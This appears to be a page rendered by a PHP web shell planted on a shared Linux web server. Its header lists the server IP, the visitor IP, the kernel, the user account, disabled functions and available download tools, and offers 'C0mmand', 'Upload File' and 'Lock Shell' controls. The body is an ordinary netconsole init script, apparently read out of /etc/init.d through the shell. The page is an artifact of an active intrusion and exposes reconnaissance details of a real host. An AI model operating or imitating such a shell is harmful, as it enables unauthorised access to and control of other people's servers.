hyun.psd; gzuncompress
|
Server IP : 173.236.192.202 / Your IP : 216.73.216.85 Web Server : Apache System : Linux iad1-shared-e1-03 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64 User : andfor18 ( 14551322) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /../etc/init.d/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
|---|
#!/bin/sh
# pushed by ansible ndn_debuglogging_role
config=/dh/etc/debuglogging.conf
if [ ! -e ${config} ]; then
exit 0;
fi
mount -t configfs none /sys/kernel/config
if [ ! -d /sys/kernel/config/netconsole ]; then
echo Necessary kernel support for Dynamic Netconsole appears to be missing;
exit 0;
fi
test -d /sys/kernel/config/netconsole/logcollector || mkdir /sys/kernel/config/netconsole/logcollector || exit 0
case "$1" in
start)
echo "Starting debuglogger (netconsole)"
for i in `cat ${config}` ; do
line=(`echo $i | tr '=' ' '`)
echo "echo ${line[1]} > /sys/kernel/config/netconsole/logcollector/${line[0]}"
echo ${line[1]} > /sys/kernel/config/netconsole/logcollector/${line[0]}
done
echo 1 > /sys/kernel/config/netconsole/logcollector/enabled
;;
stop)
echo "Stopping debuglogger (netconsole)"
echo 0 > /sys/kernel/config/netconsole/logcollector/enabled
;;
restart)
echo "Restartting debuglogger (netconsole)"
$0 stop
$0 start
;;
*)
echo "Usage: $N {start|stop|restart}" >&2
;;
esac
exit 0